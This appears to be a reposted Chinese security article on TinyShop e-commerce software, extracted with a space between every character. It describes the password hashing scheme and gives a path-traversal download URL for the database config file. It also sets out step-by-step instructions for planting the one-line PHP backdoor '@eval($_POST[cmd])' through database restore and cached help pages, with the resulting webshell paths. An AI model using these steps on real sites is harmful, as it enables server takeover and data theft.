搜索

[12353] 2018-02-12_TinyShop缓存文件获取WebShell之0day

文档创建者：s7ckTeam
浏览次数：19
最后更新：2025-01-18
2018-02-12_TinyShop缓存文件获取WebShell之0day T i n y S h o p 缓 存 文 件 获 取 W e b S h e l l 之 0 d a y s i m e o n   F r e e B u f   2 0 1 8 - 0 2 - 1 2 * 本 文 原 创 作 者 s i m e o n ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 T i n y S h o p 是 一 款 电 子 商 务 系 统 （ 网 店 系 统 ） ， 适 合 企 业 及 个 人 快 速 构 建 个 性 化 网 上 商 店 。 系 统 是 基 于 是 一 款 电 子 商 务 系 统 （ 网 店 系 统 ） ， 适 合 企 业 及 个 人 快 速 构 建 个 性 化 网 上 商 店 。 系 统 是 基 于 T i n y （ 自 （ 自 主 研 发 ） 框 架 开 发 的 ， 使 系 统 更 加 的 安 全 、 快 捷 、 稳 定 、 高 性 能 。 主 研 发 ） 框 架 开 发 的 ， 使 系 统 更 加 的 安 全 、 快 捷 、 稳 定 、 高 性 能 。 1 . 1 . 1 下 载 及 安 装 下 载 及 安 装 1 . 下 载 地 址 下 载 地 址 h t t p : / / w w w . t i n y r i s e . o r g / d o w n . h t m l 2 . 安 装 安 装 在 本 地 先 安 装 一 个 p h p + m y s q l 的 环 境 ， 然 后 将 T i n y S h o p 压 缩 包 解 压 到 网 站 根 目 录 ， 访 问 h t t p : / / l o c a l h o s t / t i n y s h o p / i n s t a l l / i n d e x . p h p 根 据 提 示 进 行 设 置 即 可 ， 如 图 1 所 示 ， 需 要 设 置 数 据 库 名 称 、 密 码 和 管 理 员 密 码 ， 数 据 库 表 前 缀 可 以 使 用 默 认 的 ， 也 可 以 自 定 义 设 置 ， 后 续 按 照 提 示 进 行 安 装 即 可 。 图 1 安 装 T i n y S h o p 3 . 管 理 及 重 要 信 息 管 理 及 重 要 信 息 （ 1 ） T i n y S h o p 后 台 管 理 地 址 h t t p : / / l o c a l h o s t / t i n y s h o p / i n d e x . p h p ? c o n = a d m i n & a c t = l o g i n ， 输 入 a d m i n 和 设 置 的 密 码 a d m i n 8 8 8 进 行 登 录 。 （ 2 ） 数 据 库 管 理 员 表 名 称 为 t i n y _ m a n a g e r （ 3 ） 数 据 库 配 置 文 件 / p r o t e c t e d / c o n f i g / c o n f i g . p h p 。
4 . T i n y S h o p 商 城 系 统 的 用 户 密 码 加 密 方 式 商 城 系 统 的 用 户 密 码 加 密 方 式 （ 1 ） 查 看 管 理 员 密 码 打 开 数 据 库 中 的 t i n y _ m a n a g e r 表 ， 如 图 2 所 示 ， “ d q r v R Y * ` ” 为 v a l i d c o d e 值 ， 密 码 值 为 ： 9 6 6 0 1 e 2 7 d 0 b c d 9 d c e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c 。 图 2 管 理 密 码 值 （ 2 ） 管 理 员 密 码 计 算 方 式 以 密 码 的 验 证 码 （ v a l i d c o d e ） 为 “ d q r v R Y * ` ” , 密 码 明 文 为 “ a d m i n 8 8 8 ” 为 例 m d 5 （ d q r v R Y * ` ） = 9 6 6 0 1 e 2 7 d 0 b c d 9 d c e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c 取 前 1 6 位 “ 9 6 6 0 1 e 2 7 d 0 b c d 9 d c ” ， 和 后 1 6 位 “ e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c ” ， 与 明 文 密 码 组 合 成 登 录 密 码 “ 9 6 6 0 1 e 2 7 d 0 b c d 9 d c ” + “ a d m i n ” + ” e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c ” , 然 后 返 回 “ 9 6 6 0 1 e 2 7 d 0 b c d 9 d c a d m i n 8 8 8 e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c ” 的 3 2 位 小 写 m d 5 也 即 数 据 库 表 中 的 p a s s w o r d = m d 5 （ 9 6 6 0 1 e 2 7 d 0 b c d 9 d c a d m i n 8 8 8 e 0 6 f 9 5 e 5 5 d f 4 0 a 6 c ） = 7 c 2 1 6 0 f 8 9 a 2 f e c f f 7 9 2 5 2 2 5 5 3 0 0 4 a c b 1 ， 如 图 3 所 示 ， 可 以 通 过 在 线 网 站 h t t p s : / / m d 5 j i a m i . 5 1 2 4 0 . c o m / 直 接 查 询 其 3 2 为 m d 5 值 。 图 3 在 线 查 询 m d 5 密 码 （ 3 ） p h p 加 密 函 数
通 过 分 析 知 道 即 使 t i n y s h o p 使 用 最 简 单 的 1 2 3 4 5 6 ， 获 取 的 密 码 是 3 2 + 6 = 3 8 位 字 符 串 加 密 ， 直 接 暴 力 破 解 的 成 功 率 非 常 低 。 这 也 是 m d 5 变 异 加 密 ， 增 强 其 安 全 性 的 一 种 实 际 应 用 。 1 . 1 . 2 文 件 包 含 漏 洞 挖 掘 及 利 用 文 件 包 含 漏 洞 挖 掘 及 利 用 1 . 文 件 包 含 漏 洞 文 件 包 含 漏 洞 （ 1 ） 备 份 数 据 库 登 录 后 台 系 统 后 ， 单 击 “ 系 统 设 置 ” - “ 数 据 库 管 理 ” - “ 数 据 库 备 份 ” 全 选 数 据 库 后 进 行 备 份 ， 成 功 备 份 后 ， 在 “ 数 据 库 还 原 ” - “ 处 理 ” - “ 下 载 ” 中 可 以 获 取 文 件 下 载 地 址 ， 如 图 4 所 示 。 其 具 体 地 址 为 ： h t t p : / / l o c a l h o s t / t i n y s h o p / i n d e x . p h p ? c o n = a d m i n & a c t = d o w n & b a c k = 2 0 1 7 1 2 2 5 2 2 _ 5 6 7 3 _ 1 9 3 6 . s q l 图 4 获 取 数 据 库 备 份 文 件 下 载 地 址 （ （ 2 ） 获 取 文 件 包 含 漏 洞 ） 获 取 文 件 包 含 漏 洞 在 数 据 库 下 载 u r l 中 发 现 有 一 个 b a c k 参 数 ， 直 接 将 该 参 数 替 换 成 数 据 库 配 置 文 件 地 址 . . / . . / p r o t e c t e d / c o n f i g / c o n f i g . p h p ， 即 可 下 载 ， 如 图 5 所 示 ， 其 e x p 为 ：
h t t p : / / l o c a l h o s t / t i n y s h o p / i n d e x . p h p ? c o n = a d m i n & a c t = d o w n & b a c k = . . / . . / p r o t e c t e d / c o n f i g / c o n f i g . p h p ， b a c k 参 数 可 以 换 成 网 站 存 在 的 任 意 文 件 进 行 下 载 ， 通 过 下 载 数 据 库 配 置 文 件 可 以 获 取 数 据 库 配 置 信 息 。 图 5 本 地 文 件 包 含 漏 洞 1 . 1 . 3 缓 存 文 件 获 取 缓 存 文 件 获 取 w e b s h e l l 1 .   t i n y s h o p   v 2 . 4 缓 存 文 件 分 析 对 其 c a c h e 存 在 的 p h p 文 件 进 行 分 析 ， 其 帮 助 文 件 对 应 模 块 整 理 如 下 ： ( 1 ) 积 分 制 度 、 账 户 注 册 和 购 物 流 程 对 应 文 件 夹 ： c a c h e / 5 9 3 / 9 2 4 / ， 文 件 名 称 为 1 0 7 . p h p   ， 网 站 访 问 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 5 9 3 / 9 2 4 / 1 0 7 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 6 积 分 制 度 h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 3 账 户 注 册
h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 5 购 物 流 程 ( 2 ) 配 送 范 围 对 应 文 件 夹 ： c a c h e / 3 2 5 / 5 3 2 / ， 文 件 名 称 为 5 8 6 2 . p h p   ， 网 站 访 问 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 3 2 5 / 5 3 2 / 5 8 6 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 7 配 送 范 围 ( 3 ) 余 额 支 付 对 应 文 件 夹 ： c a c h e / 9 8 6 / 3 2 4 / ， 文 件 名 称 为 7 5 2 . p h p   ， 网 站 访 问 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 9 8 6 / 3 2 4 / 7 5 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 8 余 额 支 付 ( 4 ) 退 款 说 明 、 售 后 保 障 对 应 文 件 夹 ： c a c h e / 1 1 8 / 5 6 2 / ， 文 件 名 称 为 6 8 2 . p h p   ， 网 站 访 问 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 1 1 8 / 5 6 2 / 6 8 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 9 退 款 说 明 h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 3 售 后 保 障 ( 5 ) 联 系 客 服 、 找 回 密 码 、 常 见 问 题 、 用 户 注 册 协 议 对 应 文 件 夹 ： c a c h e / 3 6 8 / 5 0 1 / ， 文 件 名 称 为 4 4 6 1 . p h p   ， 网 站 访 问 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 3 6 8 / 5 0 1 / 4 4 6 1 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 0 联 系 客 服 h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 1 找 回 密 码 h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 2 常 见 问 题 h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 4 用 户 注 册 协 议 注 意 ： 这 里 的 模 块 在 选 择 编 辑 内 容 后 ， 对 应 在 缓 存 中 生 成 文 件 ， 该 文 件 用 于 后 续 w e b s h e l l 的 获 取 ， 也 就 该 文 件 为 w e b s h e l l 的 实 际 地 址 。 2 . t i n y s h o p v 3 . 0 版 本 在 t i n y s h o p   v 3 . 0 起 c a c h e 中 仅 仅 对 5 8 6 2 . p h p * * 和 6 8 2 7 . p h p * * 文 件 名 称 进 行 了 变 更 文 件 名 称 进 行 了 变 更 ， 起 具 体 地 址 如 下 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 5 9 3 / 9 2 4 / 1 0 7 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 9 8 6 / 3 2 4 / 7 5 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 3 6 8 / 5 0 1 / 4 4 6 1 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 3 2 5 / 5 3 2 / 5 8 6 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 1 1 8 / 5 6 2 / 6 8 2 7 . p h p 3 . 获 取 W e b s h e l l 方 法
（ 1 ） 单 击 c m s 系 统 中 的 “ 内 容 管 理 ” - “ 全 部 帮 助 ” ， 单 击 任 意 一 条 记 录 ， 选 择 编 辑 该 记 录 ， 在 其 内 容 中 添 加 一 句 话 后 门 代 码 < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ? > 并 保 存 ， 如 图 6 所 示 。 图 6 插 入 一 句 话 后 门 （ 2 ） 备 份 数 据 库 中 的 帮 助 表 单 击 “ 系 统 设 置 ” - “ 数 据 库 备 份 ” 在 数 据 库 表 中 选 择 包 含 h e l p 的 表 ， 在 本 例 中 为 t i n y _ h e l p 的 表 ， 如 图 7 所 示 ， 选 择 后 在 数 据 库 备 份 中 进 行 备 份 。 图 7 备 份 t i n y _ h e l p 表 （ 3 ） 下 载 备 份 的 数 据 库 表 s q l 文 件 如 图 8 所 示 ， 系 统 会 自 动 对 备 份 的 文 件 进 行 命 名 ， 选 中 后 单 击 处 理 ， 将 其 下 载 到 本 地 ， 3 . 0 版 本 中 已 经 修 补 了 数 据 库 文 件 包 含 这 个 漏 洞 。
图 8 下 载 备 份 的 m y s q l 文 件 （ 4 ） 修 改 m y s q l 文 件 图 9 修 改 s q l 文 件 中 的 代 码 （ 5 ） 上 传 s q l 文 件 进 行 数 据 库 还 原 在 后 台 中 ， 单 击 “ 系 统 设 置 ” - “ 数 据 库 还 原 ” - “ 导 入 ” ， 选 择 已 经 修 改 过 的 s q l 文 件 ， 如 图 1 0 所 示 ， 选 择 “ 上 传 ” ， 文 件 上 传 后 会 自 动 还 原 数 据 库 。 图 1 0 自 动 上 传 并 还 原 数 据 库
（ 6 ） 清 理 缓 存 单 击 “ 系 统 设 置 ” - “ 安 全 管 理 ” - “ 清 除 缓 存 ” ， 选 择 清 除 所 有 缓 存 。 （ 7 ） 访 问 页 面 在 浏 览 器 中 随 机 访 问 其 帮 助 文 件 中 的 列 表 ， 例 如 “ 用 户 注 册 协 议 ” 的 地 址 为 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / i n d e x . p h p ? c o n = i n d e x & a c t = h e l p & i d = 1 4 （ 8 ） 获 取 w e b s h e l l 对 v 3 0 版 本 来 说 其 s h e l l 地 址 为 模 块 对 应 文 件 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 5 9 3 / 9 2 4 / 1 0 7 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 9 8 6 / 3 2 4 / 7 5 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 3 6 8 / 5 0 1 / 4 4 6 1 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 3 2 5 / 5 3 2 / 5 8 6 2 . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 3 . 0 / c a c h e / 1 1 8 / 5 6 2 / 6 8 2 7 . p h p v 2 . 0 将 前 面 “ t i n y s h o p   v 2 . 4 缓 存 文 件 分 析 ” ， 也 就 修 改 “ 用 户 注 册 协 议 ” ， 则 对 应 s h e l l 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 7 . 1 3 0 / t i n y s h o p _ 2 . x / c a c h e / 3 6 8 / 5 0 1 / 4 4 6 1 . p h p 如 图 1 1 所 示 成 功 获 取 w e s b h e l l ， 后 面 对 全 部 帮 助 中 的 条 目 进 行 测 试 ， 发 现 所 有 输 入 都 可 以 获 取 w e b s h e l l ， 如 图 1 2 所 示 ， 其 I D 对 应 w e b s h e l l 插 入 代 码 的 详 细 情 况 。 图 1 1 获 取 w e b s h e l l
图 1 2 I D 对 应 相 应 的 一 句 话 后 门 * 本 文 原 创 作 者 s i m e o n ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理